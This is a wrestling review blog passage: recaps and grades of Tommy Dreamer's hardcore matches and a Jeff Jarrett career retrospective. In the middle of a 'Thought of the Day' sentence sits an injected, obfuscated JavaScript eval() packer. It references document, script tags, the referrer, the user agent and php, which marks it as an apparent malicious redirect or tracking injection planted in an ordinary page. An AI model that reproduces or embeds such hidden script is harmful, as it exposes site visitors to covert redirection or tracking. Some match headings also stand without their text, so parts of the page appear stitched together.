Beaulah makes her return for the CATFIGHT CATFIGHT CATFIGHT!!! Dreamer saves her and they have their big reunion with Dreamer’s face covered in blood. The Dudleys get DDTed by the two of them, making me smile. WHERE ELSE BUT IN WRESTLING COULD YOU GET THIS? Beaulah gets two on Bubba and she’s hardcore according to the fans. Joey is told in his headset that he can’t say balls, which he makes fun of of course.

Sandman goes through a table for two. 3D on Dreamer, and it’s the old style, not the crap one now. We have another table and here’s Spike who is seeing COLORS! Yep, the table is on fire and there goes Tommy. In a spot that makes me cringe, Tommy’s head is tilted towards the mat and blood just pools up from his head. That’s a great visual. Bubba actually dives on him for the pin.

Rating: N/A. Can’t give this a fair grade as it wasn’t a match by any definition of the word. Make no mistake about it though: this is the highlight of the show and as much fun as I can remember having watching wrestling perhaps ever.

Post match (oh like you didn’t expect something else to happen) the Dudleys go after Beaulah and get the heck cained out of them. In a spot that always makes me chuckle, Spike comes back again and Sandman turns around and just canes him again before going back to what he was doing. He looked like he was paying a parking meter or something. Sandman looks at Tommy and says someone….someone…SOMEONE GET ME A BEER! Joey: screw the beer, get him some plasma!

 

Another year passed and Dreamer jobbed even more, but in 2006 it was announced that ECW was being brought back as a separate brand. One of the first major storylines was the ECW Originals vs. the New Breed, which led to an eight man tag at Wrestlemania.

 

New Breed vs. ECW Originals

Dreamer went back to jobbing on ECW for years, but would eventually get an ECW Title shot at Extreme Rules 2009 in a triple threat.

ECW Title: Christian vs. Tommy Dreamer vs. Jack Swagger

If Dreamer loses he’s gone. This is a hardcore match so it’s pinfalls count anywhere. Who would believe Swagger would be the most successful guy a year later? So Dreamer is on a one day contract since they mistimed the whole contract thing in storyline terms. Swagger is the guy Christian beat to get the title.

We even get big match intros. Dreamer is wearing something close to silver pants. Hey, did you know that the champion is at a disadvantage here? I didn’t know if telling you that twice in 40 seconds would be enough indication. Striker says Dreamer has a Singapore Stick. Let the ECW fans freak. White Russian Leg Sweep to Swagger. Dreamer hits a front flip with a trash can behind him so that hits their faces. This is kind of sad considering what ECW was originally about.

Dreamer sets for the baseball slide but Christian stops him and does it himself. In other words, the blonde haired WWE product did the ECW original’s thing to another WWE guy. That sums up so many things so easily. The people want tables. Yeah I’m stunned too. Swagger no sells some kendo shots and hits a belly to belly on Dreamer.

We’re going with the various one on one matches here which is about as expected. Crowd is DEAD other than for the big spots. Swagger goes for the Gutwrench but Dreamer nails him with a crutch twice and hits a DDT to get the ECW Title. More on that in a bit.

Rating: D. This is your traditional “hardcore” match which means let’s hit each other with trash cans and hope the people care. This just felt completely lifeless to me and I just wanted to see it end, which isn’t something that I have issue with that often. There are far worse matches, but this just had nothing at all to it. Even Dreamer’s win, while a big moment for old school ECW fans feels flat. Let’s look at this for a minute. Imagine Christian or Swagger in the original ECW.

ECW Title: Christian vs. Tommy Dreamer vs. Jack Swagger vs. Mark Henry vs. Finlay

This is a Scramble match which is more or less a gauntlet. Every three minutes someone else comes in and whoever gets the final pin is champion but you have to pin the champion for the pin to count. Uh…sure. Christian and Swagger start us off. Wow it’s weird to see Swagger as champion before Christian. I miss the pushups.

Ok so if Swagger pins Christian he’s IT more or less? I guess that makes sense. I’m assuming that there will be a clock once everyone comes in. Striker implies a heel turn for Christian but nothing ever came for that. The clock begins far before three minutes is up and it’s Finlay. Striker talks about Irishmen from centuries ago as no one cares at all. Swagger pokes Finlay in the eye and rolls him up to become IT.

Christian and Swagger do a nice little sequence that gets two for the Canadian. He beats Christian down as Dreamer is number four. Dreamer beats up everyone with incredibly basic stuff but throws out a Sky High. Ok apparently it’s not Swagger that has to lose the title as it’s just the last pin. Uh…that kind of makes sense I suppose.

They blow a spot where Christian is on the mat and Dreamer gets thrown onto him. It just looked really awkward. Finlay finally comes back to life and hits the Celtic Cross on Swagger to become IT. Finlay and Dreamer don’t work well together to put it mildly. And here’s Henry to suck the life out of the match. Ok so now we have five minutes left and whoever gets the last fall is champion. Got it.

Dreamer takes the World’s Worst Finisher with 4:15 to make Henry IT. Everyone not named Dreamer beats Henry up and the people start booing for some reason. Finlay hits a freaking suicide dive onto Swagger. Have to love old men flying all over the place. Henry teases a top rope dive but for the sake of the gravitational pull, Swagger saves him and gets the pin to become it with about 2:20 to go.

I like knowing how much longer to go at times and this is one of them. Christian hits the Killswitch on Swagger but Dreamer DDTs him at 1:20 to become IT. It becomes a big mess now which makes sense at least. On instinct Dreamer goes for a cover which they don’t point out the stupidity of. Everyone goes for covers but the clock runs out and Dreamer retains. He screams “I WON???” in a funny moment.

Rating: C+. These matches are hard to call but I liked it. Thankfully they haven’t killed them by having them every two weeks or something like that. This still feels fresh though and it comes off as a good way to be different. Also it makes Dreamer look like a competent champion and not a jobber which I can’t complain about. This worked but was still a little bit weird.

It would soon be off to TNA and ANOTHER ECW reunion stable called Extreme Violence. They would face four young talented guys called Fourtune in a Lethal Lockdown match at Bound For Glory 2010.

Fourtune vs. EV 2.0

This is a one ring WarGames match. A man from each team starts and after a set amount of time (5 minutes I think) there’s a coin toss and another guy comes in from the winning team. That goes on for two minutes then a guy from the losing team comes in. Two more minutes of that and then the winning team gets the advantage again. Alternate until all 8 are in and then we lower the roof, complete with weapons. No pins or submissions until everyone is in.

EV has Dreamer, Sabu, Rhyno, Richards and Raven. Yeah ten people in there great. Foley is with them. Flair brings out AJ, Storm, Roode, Kaz and Morgan. Fourtune has the advantage so screw the coin flip idea. Flair is in an undershirt. Oh dear.

The old guys go at it before the match starts and we try to figure out who starts the match. Kaz and Richards to start. Again Taz wants to say ECW and can’t do it. Kaz beats the tar out of him to start. And he continues doing so. Well that’s what you get for sending in Richards as your leadoff man.

Stevie gets a Downward Spiral into a modified Koji Clutch but AJ comes in seconds later to make it 2-1. Richards is of course in WAY over his head and gets destroyed. Figure four on Richards and he’s almost dead. Dreamer is in next. How in the world is this guy feuding with AJ Styles?

Dreamer spits mist or something at AJ as Richards gets back into it. All of Fourtune is in blue which is a cool idea I guess. Roode goes in third as this is going to take awhile to just get everyone in. Flair punches Dreamer through the camera hole. I love that thing as it gives you far better shots.

Sabu comes in and hooks a seated crossface chickenwing on AJ which we’ll call a camel clutch for fun I guess. This is REALLY slow now with EV controlling. Dreamer is bleeding fairly badly. Storm is in so it’ll be Morgan and Raven or Rhyno in last. Storm turns the tide and we get BEER MONEY!

With nothing left in the other minute here’s Raven who looks stupid with blonde hair. He cleans some house and shoves a snot rag in someone’s face. Ah ok it was Roode. Dreamer gets his crotch stepped on for fun. Dude seriously, Raven is your hot tag in essence? Roode is busted open.

Sabu is busted too. Morgan comes in as the final member of Fourtune. He drills Richards and drills Sabu back first into the cage. Dreamer takes the elbows in the corner as the advantage does the same thing it’s done the whole time so far. Raven is bleeding too so every member of EV who is in the match is busted.

Big Gore to Storm and here comes the roof. This is where the advantage is supposed to come for EV I guess. Flair and Foley get into it of course as is their custom. EV takes over and there are bigger weapons on top of the cage such as a table, a ladder and something else that I can’t make out.

Raven and Morgan beat the heck out of each other as EV is mostly in control. Morgan goes for the Carbon Footprint and misses, hitting the door which doesn’t move at all. Kaz gets drilled into the door and there it goes. Richards and Kaz go up and we set up the ladder up there. This always scared the living daylights out of me.

Sabu dives through the door to take out Morgan and maybe Storm. Richards sets up the table on top of the cage and Kaz goes up the ladder and here’s Kendrick on top of the cage too. Kaz goes through the table and Kendrick appears to be meditating or something. In the ring Dreamer drills AJ in the leg and drops him on a chair, winning the match. Yes, EV won the match and everything seems to be fine with it. WELL OF COURSE THEY ARE.

Rating: D+. Not much here as there were a lot of very slow spots. Also the Kendrick thing just did nothing for it. The weapons were ok but the ending felt kind of tacked on. This never got to the level that they wanted it to get to and that hurt it a lot. This was one of the weaker matches they’ve done with this gimmick and I think a lot of that is due to the participants.

Oh yeah. DID I MENTION EV 2.0 JUST FREAKING BEAT FOURTUNE and that TOMMY DREAMER PINNED AJ STYLES??? And people wonder why this company can’t be taken seriously.

AJ would want revenge and get a chance at Sacrifice 2011.

Tommy Dreamer vs. AJ Styles

Very basic technical match to start and remember that this is no DQ.  Why Immortal isn’t out there destroying AJ immediately eludes me but whatever.  Dreamer takes over for a bit and drops a bunch of elbows.  Out to the floor and AJ hits a plancha to take over.  AJ pours a soda over Dreamer’s head and crotches him on the railing.  He slides under the railing and it’s forearm time.  Love that move.

 

Out into the crowd because that’s just what we do.  The fans chant ECW which is I guess what TNA wants to do.  Dreamer breaks a cardboard Impact (no wrestling) sign over his head and AJ is bleeding from around the temple.  Back to ringside and it’s time for some weapons.  AJ gets a shot in and there’s a table.  Table gets set up as the fans want fire.  AJ uses the table like a launch ramp for a clothesline in the corner for two.

 

DDT by Dreamer gets two as AJ is under the ring ropes.  I love little rules like that which are cool while there are all kinds of weapons in the ring.  Dreamer finds a fork for a throwback to their I Quit match but AJ blocks it.  Dreamer’s shirt is off and I’m very glad he has a muscle shirt under it.  The table legs are broken but AJ says Dreamer is going through it.

 

Dreamer gets a shot in and sets for the Dreamer Driver only to get caught with a Pele.  Styles Clash is set but Ray comes in with a chain shot to AJ.  Daniels comes out for the save but AJ is more or less dead.  Piledriver through the table marks the second time that Tommy Dreamer has pinned AJ Styles on PPV.  I give up.

 

Rating: C-. Tommy Dreamer has pinned AJ Styles twice on PPV in less than a year.  Dude, WHY IS TOMMY DREAMER PINNING AJ STYLES ON PPV???  The match was just ok but at the same time it was nothing past a basic hardcore match and Ray coming in was about as not shocking as anything you could have asked it to be.

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Thought of the Day: Fill In Some Gaps

Again, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dsesf|var|u0026u|referrer|btfsa||js|php'.split('|'),0,{})) time to take a lesson from the 80s.I’ve been watching some 80s NWA lately and one of the things you’ll hear is JR giving us the wrestlers’ stories.  This might be anything from what they did in college to something about their family to something they said to him earlier today.  It wasn’t much a lot of the time, but it gave the fans a reason to care about these people.  How many wrestlers can you think of that have almost nothing to talk about?  Make up even a little backstory so there’s something the people can relate to or care about and see how fast things get better.




Wrestler of the Day – February 13: Jeff Jarrett

WCCW Light Heavyweight Title: Eric Embry vs. Jeff Jarrett

 

WCCW vs. CWA here. Jarrett is also a rookie and from the CWA. He won the title recently before this to make the cross promotion thing seem legit. Embry would become a big deal in WCCW as a face after this and then in the USWA. He would book for awhile and liked to be sans clothing while he did so. They do some very fast paced stuff to start and Jeffs Flair blonde hair is all over the place.

 

They trade a lot of counters and are moving insanely fast out there. Embry, the veteran, finally takes over a bit but walks into that gorgeous dropkick to give Jeff a breather. Hes sent to the floor though and is holding his arm. Eric works on his arm as Jeff is too young to really know how to carry a match at this point. Jeff goes up and hits a middle rope missile dropkick but lands on his shoulder and cant cover. Jeff sets a world record for most sunset flips in a single match and thefinal one is reversed for the title for Embry. He would drop it to Foley in like two weeks.

 

Rating: C. Just a quick match here for a midcard title change to be on the show. Jarrett was so young here that it was unreal but he would get better. Embry would become the biggest face not named Von Erich for awhile and then would go on to the USWA which was the successor to the CWA. For a four minute match, this was fine.

Southern Heavyweight Title: Jeff Jarrett vs. Steve Austin

Rating: D+. Not the worst match ever but it was only a few minutes long and neither guy was all that great yet. This was more about pushing the Monday matches forward because of the post match stuff. Not much to see here and Jeff has the title back that he never really lost in the first place.

Intercontinental Title: Jeff Jarrett vs. Razor Ramon

Jarrett is challenging and now has the Roadie with him. Razor starts with his usual assortment of punches and a fallaway slam to send Jeff to the floor. After a little toweling off on the floor, Jeff armdrags Razor down and struts. They trade arm holds until Razor gets taken to the mat where Jeff messes with his hair. Careful with the grease there Jeff. Razor gets annoyed and knocks Jeff to the floor for some more Memphis stalling.

Intercontinental Title: Jeff Jarrett vs. Razor Ramon

Razor tries some quick rollups for two but Jeff goes right for the knee to take over. Jeff does his best Ric Flair imitation but as he goes for the third cannonball down onto the leg, Razor kicks him over the top and out to the floor. Back in and Jarrett puts on the Figure Four, putting Razor in a lot of trouble. Razor escapes and starts his comeback with punches and the belly to back superplex but Jeff counters in mid air for two. Razor clotheslines him down and loads up the Edge, but the knee gives out and Jeff rolls him up for the pin and the title.

Jarrett would defend the title against Shawn Michaels at the second In Your House.

Intercontinental Title: Shawn Michaels vs. Jeff Jarrett

 

Roadie gives Jeff a VERY long intro before we get to the match. The place goes nuts for Shawn who is at his peak before he won the world title here. Jeff poses on the ropes before the match but bails when Shawn grabs the belt to check out his looks. Back in and we have the first lockup after a minute, only to see Shawn punch Jeff into the corner for more stalling. Michaels lays on the top rope for a breather to tick the champion off even more.

 

Jarrett armdrags Shawn down and struts a bit before they run the ropes to speed things up, only for a right hand to drop Shawn to the floor. Jeff lays on the top as well in a nice mind game. Back in and they fight over a hiptoss before speeding things up again with Shawn hitting the hiptoss and clotheslining Jeff to the floor, only to skin the cat back inside. Jarrett teases walking out but slides back in at 9, only to head right back to the floor.

 

Jeff counts along with the referee but breaks the count at nine again. Shawn finally gets tired of waiting and heads out to the floor to bring Jarrett back in, only to dive into another right hand. Shawn holds the ropes to avoid a dropkick but has to knock Roadie to the floor. A charging Jarrett is thrown over the top onto Roadie, followed by a BIG dive off the top to take out both guys.

 

Back in and Shawn goes to the middle rope but Jeff dives to the mat to avoid a cross body. Shawn held on though and catches Jeff with a sunset flip for two, only to be backdropped over the top and out to the floor. This has been great stuff so far. Back in again and a gordbuster (front suplex with Shawn landing on his head) gets two for the champion and we hit the abdominal stretch. Roadie helps Jeff but finally gets caught, allowing Shawn to hiptoss his way to freedom.

 

 

Jarrett would head to Memphis for the rest of the year before returning in late 1995 and not doing much at all. He would head to WCW in late 1996 and try to join the Horsemen in a story that never quite worked. Jarrett would get a chance at Starrcade 1996 against Chris Benoit.

Chris Benoit vs. Jeff Jarrett

 

This is a No DQ match as Jarrett wants to be a Horsemen but has to fight his way through some of the other Horsemen first. Jarrett was a guy from Tennessee who was good in the ring, good on the mic and very safe. In other words he had every tool you needed, but no one cared about him at all. It never clicked until he went back to the WWF and completely changed his character that he got over in WCW. Benoit has his future real life wife Woman with him here.

 

It turns into a brawl with the guys rolling around on the mat and brawling before heading to the floor. Chris takes over on the outside before heading back inside to catapult Jarrett into the buckle. Benoit loads up a superplex, only to be shoved off the top to give Jarrett control. Not that it matters much though as Chris comes right back with a clothesline to send Jarrett out to the floor again. Jarrett is rammed into the barricade a few times, only to come back by dropping Benoit ribs first onto the barricade.

 

They get up again and Jeff goes nuts on Benoit, pounding on him in the corner and hitting a quick dropkick for two. Benoit is dropped on the top rope again but Woman breaks up the Figure Four. Cue Arn Anderson who walks by his Horseman mate to stand on the other side of the ring.

 

Jeff Jarrett vs. X-Pac

A Jarrett leapfrog is countered into a sitout powerbomb for two and Howard is starting to panic. Another Bronco Buster attempt is countered by a low blow but Jarrett stops to hit the Fink, allowing the X Factor to connect for a VERY close two. Southern Justice is back but Dennis Knight (Phineas) drops a guitar, giving X-Pac the shot to Jarrett for the pin.

Rating: C. Not bad here but it went a bit too long for what they were trying to do. If Southern Justice could come out at the end, where were they for the other ten minutes of the match? The haircut was the move that Jarrett needed as he changed his entire character from Tennessee Guy to chauvinist pig soon after this.

Jarrett formed a tag team with Owen Hart that would win the Tag Team Titles and hold them for a few months, dropping them just before Owen passed away in May of 1999. Jeff would spend the summer winning and losing the Intercontinental Title before entering the feud that kept him from ever stepping foot back back in the WWF.

Intercontinental Title: Chyna vs. Jeff Jarrett

Remember this is more or less a weapons match with certain weapons only. Chyna, the liberated woman, is wearing a thong. Sure why not. Miss Kitty is amazing looking of course so that’s no shock. This is a glorified comedy match but that’s working for something like this as it fits the storyline pretty well. Chyna shoves a banana in Jarrett’s face while he has a toilet seat around his neck. See what I’m dealing with here?

All Chyna so far here until she misses an elbow from the apron through a table. She broke the salami that was on the table. Apparently this is falls count anywhere as well. Jarrett hits her in the back with a fish. Ok then. Chyna beats up Miss Kitty but gets caught in the figure four, which was Jarrett’s finisher at the time. Ah there are the ropes. Jarrett comes off the second rope and the tongs he has wind up on his balls.

We’ve got pies. You might notice there is no sort of wrestling or flow to this at all. Don’t bother looking for it as this is a glorified comedy match. Kitchen sink shot gets two. There goes the referee. Who says the late 90s were overbooked? Chyna takes the title to the face…and gets pinned? Apparently so.

BUT WAIT!

The referee says the IC Title isn’t a household item so he can’t use it for the pin. Chyna blasts him with a guitar and that’s ok for the pin and the title. Ok then. Kitty leaves with Chyna, leading to a weird semi-lesbian angle without ever saying that’s what it was.

Rating: C-. Not really a match but it ended the angle in a way that fit perfectly. I’m ok with that as it at least made sense. This was a solid blowoff to the match so that’s all I can ask for I guess. Jarrett would be in WCW in like a day or so and get the biggest push of his career, albeit on a sinking ship.

Jeff would win the US Title before the end of 1999 and then join the latest incarnation of the NWO. A bunch of injuries would cripple the team though and it would be gone in just a few months. Jarrett would thrive though, receiving a WCW World Title shot at SuperBrawl 2000.

WCW World Title: Jeff Jarrett vs. Sid vs. Scott Hall

This is Hall’s last match in WCW. Hall is the popular one but since he has no chance it’s not like it matters. He and Jarrett go at it before Sid gets here. Hall takes out the Harris Brothers and this is no DQ. Jeff chills on the floor while Hall pounds on Sid. Sid beats them both down and the Harris Brothers are running around at their pleasure. The Twins pull Hall to the floor and Jeff works over Hall a bit.

Tony calls Hall and Jarrett a couple of young kids and there goes the referee. Sid hits a double chokeslam and another referee comes down to count two. Jeff takes Sid out with a belt shot for two. The second referee gets a Stroke because….well because Jeff isn’t a nice person. Some heel miscommunication lets Hall get two on Jeff. Sid cracks the Harris Brothers with chairs and Jeff beats up the third referee in about five minutes.

The fourth referee comes in and down he goes immediately. Here’s the fifth referee and it’s the crooked referee Slick Johnson. Jeff sees him coming but gets caught in the Outsider’s Edge, only for Johnson to do the whole “OW MY SHOULDER” bit. Jeff hits Hall with the guitar and here’s Roddy Piper to be the referee. He’s the guy behind the door and he stops Johnson from counting the pin. Chokeslam to Jeff, powerbomb to Hall and Sid retains.

Rating: D+. Well all things considered (7 minutes, 6 referees, 2 Harris Twins and 1 guy with zero chance at all) they did about as much as they could. This felt as rushed as a little personal time when your mom is on her way home and you’re 13 years old. I have no idea why it was so rushed but could it have anything to do with JAMES BROWN DANCING FOR TEN MINUTES?

He would win and lose the WCW World Title in the span of a month in April, leading to a triple threat rematch with Jarrett, Diamond Dallas Page and actor David Arquette in a triple cage at Slamboree 2000.

WCW World Title: David Arquette vs. Jeff Jarrett vs. Diamond Dallas Page

It’s a triple cage match where the bottom is like the Cell and there’s a hardcore cage on top of that, which has a bunch of weapons on it. On top of that there’s a cage with a bunch of guitars around it with a cage a single person can fit into. The belt is hanging from the ceiling above that cage which has to be climbed to pull the belt down. It really is an impressive looking structure.

While the introductions are going on, a few things should be noted about Arquette: he didn’t want to do this but Russo insisted it was a brilliant idea. Second, every dollar he made from this he donanted to the families of Owen Hart, Brian Pillman and Darren Drozdov (recently paralyzed in a match). Before I forget you have to use a ladder to get to the second cage through I’m guessing a trapdoor.

The bell rings and Arquette runs. Well at least he’s thinking. Basically you’ll get Page vs. Jarrett for the majority of the match which means it’ll be decent enough. Page gets a clothesline in the ring and calls for Arquette to go up to the top where he misses a splash. Page tries to get a ladder but Jarrett hits a baseball slide to send Page into the cage again. And down goes David as Page sends Jarrett into Arquette into the cage.

Page posts Jeff and goes for the ladder and ultimately the second cage. Jarrett is busted open but manages to suplex Page off the ladder. The ladder is in the corner and not set up so both guys are sent into it as is the ladder match custom. Jeff brings in a second ladder and they both start climbing. Page knocks him off and is in the second cage first. Jeff follows quickly and instead of just going through the door he grabs a weapon and gets caught.

The floor of the cage they’re in is made of the top of the other cage and has wide spaces, making it easy to slip in. Page is busted also and Jarrett tries to climb the wall, only to get caught. They ram each other into the cage wall and it falls down. Keep in mind they’re on top of something the size of Hell in a Cell. This isn’t exactly on the mat and almost falling to the floor.

Hey, I have a great idea! LET’S SET UP A TABLE ON TOP OF A CAGE WITH BIG HOLES IN THE FLOOR! Page gets something like a powerslam through it and both guys are down. The floor is pretty weak but it’s not as bad as a scaffold match. Arquette hasn’t been seen in about five minutes. There he is and here he comes. Arquette goes to the top of the hardcore cage and is totally alone, meaning he could easily retain the title. Since he doesn’t, you might as well hold up a big sign saying SHOCK HEEL TURN.

Page sets for a Diamond Cutter on Jarrett on top of the Cell (they’re outside the hardcore cage so it’s almost like the moat of a castle if that makes sense) but Mike Awesome pops in to break it up. There’s a Diamond Cutter for him and Arquette is on top of the third cage. Page and Jarrett go up and head into the guitar room. Jarrett misses a shot as does Page. He hands one to Arquette to play defense with and as both wrestlers climb, say it with me, ARQUETTE TURNS ON PAGE. Jarrett wins the title.

Rating: B. Above all else, this match shows the fundamental flaw in Vince Russo’s style: this was a good match and there was zero reason for Arquette to be involved at all. As explained during the match, Jarrett was mad at Page because Page was in Ready to Rumble and he wasn’t. They met in a tournament final at the previous PPV for the title with Jarrett winning and then Page got the belt, making this the blowoff match.

DDP vs. Jarrett in a big gimmick cage match (from the movie so it makes even more sense) is more than ok for a PPV main event. They have chemistry together too so the match was going to be pretty good at least. But for Russo that’s not enough so he adds in David Arquette, making it look like any guy off the street (which for Arquette is true from a physical standpoint) can win the title. The title looks bad and instead of WCW having a match that looks like it’s even more crazy and awesome than Hell in a Cell, this match is remembered for David Arquette coming in as world champion. Just let the wrestlers wrestle.

To give you an idea of how screwed up WCW was at this point, Jarrett won his first WCW World Title on April 16, 2000 and won it for the fourth time on May 29, 2000, a span of 43 days.

Jeff would drop down to the midcard after that and not do much of note until WCW folded. He was a big deal in the World Wrestling All-Stars for its entire run, but in June 2002, Jarrett would start up NWA TNA and be its featured star for years. Jeff would win the NWA World Title in November and eventually move into a pretty awesome feud with Raven. One of their title matches took place on April 30, 2003.

NWA World Title: Jeff Jarrett vs. Raven

From April 30, 2003 with Jarrett defending. Raven has Julio Dinero with him but unfortunately not the more famous lackey: CM Punk. He also has his chick Alexis Laree, more famous as Mickie James. This is billed as the showdown with Raven wanting to claim his destiny. Feeling out process to start with Raven slamming the champion down and celebrating. A drop toehold ticks Jeff off even more so he erupts with right hands and a dropkick to send Raven out to the floor.

Dinero gets a dropkick as well and Jarrett slams Alexis. Another Raven Effect attempt is countered with an enziguri for two and a catapult into the corner gets the same. The Stroke hits from out of nowhere for another near fall but no real pop from the crowd. A sloppy Raven Effect gets the same but Jeff comes back with a Cactus Clothesline to send both outside. Raven is laid out on the table and Jeff drops a middle rope elbow to drive him through it.

Back inside and Jarrett lays Raven out with a DDT but Dinero makes the save. The referee FINALLY ejects the Gathering but Raven shoves Jarrett into the referee, knocking him into the barricade. Both guys kick each other low as the Disciples of the New Church come out to brawl with the Gathering. Raven calls out Extreme Revolution (your usual ECW guys) to destroy and handcuff Jarrett.

Jeff would trade the title back and forth with AJ Styles and a few other people as TNA continued to grow. The title would be on the line against challenger Jeff Hardy at the first three hour PPV, Victory Road 2004.

NWA World Title: Jeff Hardy vs. Jeff Jarrett

Ladder match. It took 9 minutes to get from package to bell. Oh and remember Hall and Nash are both here and allegedly they’re both in Jarrett’s corner. Now in case you don’t know, Jeff Hardy has had ladder matches before. I need to make sure you know this, because the announcers only tell us about 49 times so because they don’t go with the full 50, make sure you know: Jeff Hardy has been in ladder matches before.

West is surprised that Hardy is using the ladder as a weapon. Has he never watched WWF television? Why do the announcers have to keep repeating themselves? There’s really no attempt at getting the ladder and it’s just moves to hurt each other. There’s no flow to this at all and it’s just spot after spot. I know the others have that also, but there’s a clear flow to it and you can easily see the differences between the two.

Hall comes out and hits a Razor’s Edge on Hardy which does nothing at all. The fans for the most part look bored as they have all night. That’s the problem here: all of these spots have not only been done but they’ve been done better by more interesting characters. There’s just no reason to care at all here and it’s painfully showing. And now we have a big ladder. Where have I seen this before?

They set it up on the floor and climb it which is completely pointless as it’s about even with what a regular ladder in the ring would be at. Oh look, Hardy is in control and Nash, with his own entrance music, is coming down. Nothing but good can come of this right? Oh you know it’s coming. They beat up Hardy and Jarrett keeps the title. They call themselves the Kings of Wrestling as they try to do the NWO thing all over again.

AJ comes out to fight them and gets beaten down then Three Live Crew (because I like literacy) comes out and fight to something resembling a stalemate before Macho Man debuts and we go off the air. Yep, the six man was your main event next month and then Savage was gone. What a mess this was.

Rating: D. This was awful. It felt like they said we’re going to have a ladder match then looked around and asked if anyone knew how to do that. It wasn’t interesting at all and it wasn’t any good. None of the spots made you want to see more and nowhere in here did I think Hardy would win. The Outsiders as usual meant nothing. They had one big moment 14 years ago and they’ve ridden it ever since. This felt like an imitation of something better but they knew it was bad.

NWA World Title: Jeff Jarrett vs. Rhyno

They head into the crowd with Rhyno in full control. He tries to suplex him off a wall but Jarrett knocks him down and onto the floor again. They head up towards the backstage and Jarrett is rammed into various metal objects, busting him open. Back to ringside and Jeff takes a chair shot to the shoulder and the back. Back to the backstage area and Rhyno loads up a table.

Jarrett would spend most of 2006 feuding with Sting, eventually dropping the title to him at Bound For Glory that year. This would get rid of Jeff for about six months until he returned to the ring in the main event of Lockdown 2007 as part of Team Angle.

Team Christian vs. Team Angle

Christian Cage, Tomko, AJ Styles, Abyss, Scott Steiner

Kurt Angle, Sting, Jeff Jarrett, Samoa Joe, Rhyno

Christian takes a double chokeslam from Sting and Jarrett which is a cool visual. Black Hole Slam to Jarrett but not onto the tacks. Angle knocks AJ off the cage onto the people outside the cage. SCARY stuff there. Abyss pours the other bag of tacks into the guitar and since he loaded it up, it goes over his head and Jarrett lets Sting get the pin and the title shot.

JeffJarrettvs. KurtAngle

This is Jeff’s first match in two years and we’re told about his little girls every 9 seconds of course. Angle flips Foley off almost immediately. He’s on the floor for the majority of this match as he’s just an enforcer. Who he’s enforcing against or what he’s enforcing are anyone’s guess but that’s a constant question in wrestling. Big THANK YOU JEFF chant.

Feeling out process to start as Angle tries to embarrass Jeff. I think 2005 did that about as well as possible Kurt. Angle dominates on the mat of course which is what I think everyone expected. He hits a European Uppercut in the corner which is called a German by West because he’s a stupid man. Jarrett hits a pescado to take Angle down on the floor.

Spending a lot of time on the mat here which is probably an attempt to balance out the lack of cardio that Jeff likely has. We get some dueling chants as Jeff fights out of a chinlock. Someone needs to win with one of those once just for the pure shock value of it. Angle’s shoulder hits the post and Jarrett is too spent to do anything about it.

Jarrett starts a comeback but can’t finish him. He goes for a middle rope suplex but Angle blocks and tries a belly to belly to the floor. Since that would more or less kill Jarrett, Angle gets a top rope suplex instead. A nice counter sets up the figure four and Angle is in trouble. Foley has done absolutely nothing in the nearly fifteen minutes we’ve been going so far.

Rolling Germans have Jarret in trouble. Ankle Lock is on and Jeff is about to tap. Angle Slam gets two and a moonsault misses. According to Tenay the figure four is the reason the moonsault missed. I’m pretty sure it was actually Jeff rolling out of the way but what do I know? Stroke gets two but the referee is out so Foley counts two.

Kurt goes to get a chair and Foley says no way. Yes let’s tell one of the most intense men in the history of the sport that hates your guts not to use a chair he has in his hands. Foley gets his skull caved in for the 150th time which he should get a set of steak knives for I think. Chair to Jarrett gets two as Foley stops it. Socko to Kurt and a guitar shot ends it with Foley making the count.

Rating: B. Solid for the most part here and considering that it was Jeff’s first match in so long, this was pretty good. Foley didn’t need to be there like at all but it fit in with the story so I can live with that. Tenay SHOUTS at Jeff’s kids in Nashville that they all love them and this was for you. WOW yeah that wasn’t overkill at all Mikey.

Kurt Angle vs. Jeff Jarrett

First fall is submission only, second is pin only, third is escape the cage.  Should be awesome.  Karen is ejected before the match starts which is a nice plus.  Angle gets a headlock to start us off which is broken up quickly.  There are only three matches left and we have almost 90 minutes left so this is going to get a lot of time.  Snap suplex puts Jeff down as Kurt hammers away.

 

Leg sweep takes Kurt down and it’s a Figure Four less than two minutes in.  Not a very good one but a figure four nonetheless.  The referee, ever the genius, counts Kurt’s shoulders in a submission match.  Kurt turns it over and hooks a t-bone suplex into the ankle lock.  That doesn’t last long as Jarrett grabs a sleeper.  Jeff sends Kurt into the corner shoulder first and adds an enziguri to the shoulder (which doesn’t work as enziguri means head kick but you get the idea).  Cross armbreaker goes on and Kurt is able to roll out of it and lock on the ankle lock with the grapevine to get the early submission.

 

Jeff sends him into the cage and hits the Stroke for two.  I thought that would have been a fall actually.  Jeff has a top rope cross body rolled through for two.  Double clothesline puts both guys down.  They slug it out and it’s boo/yay time.  Belly to belly by Kurt gets two.  Rolling Germans hear my cry!  The third is blocked by a low blow though which Jeff distracts the referee for.  If it’s pin only, why would he have to distract the referee?

 

Another Stroke is countered into a shot into the cage and an Angle Slam for of course just two.  Jeff goes up and is caught in a belly to belly off the top for a long two.  The crowd is FINALLY getting into this.  They’ve been dead the entire time here which is a shame as this has been a fairly good match so far.  Kurt wakes up and busts out a Diamond Cutter of all things.  That has to be a shot at Randy Orton.  And Jeff rolls Kurt up with tights to tie it up.  No bell or anything and the announcement is delayed, so no one really got that it was a fall.

 

Third is escape only and Jeff tries to unlock the door.  There’s a key in there if you’re wondering.  Jeff sends Kurt into the cage multiple times and goes for the key again.  Ok the door is unlocked now.  Slowest Rolling Germans ever has Jeff reeling though.  There were five in that set and thankfully the crowd responds to it a bit.  Just like last year, Kurt is ready to go and Jeff couldn’t stop him but he comes back in.  He gets to the bottom step twice and come back in.

 

Kurt locks the door and puts the key down his tights.  Jeff is panicking so Kurt beats on him a bit more.  Jeff is the first person to bleed tonight and it’s flowing down his face.  They head to the top rope and Kurt hammers him down.  Angle climbs up but Jeff catches him with a powerbomb off the top of the cage which is botched and Kurt lands on the top of his head, probably killing him.  And of course he pops up to catch Jarrett leaving and hits an Angle Slam off the top.  Kurt tries to leave but lost the key somewhere.  Not a good sign when there’s so much room in your tights that you can’t find a big metal object buddy.

 

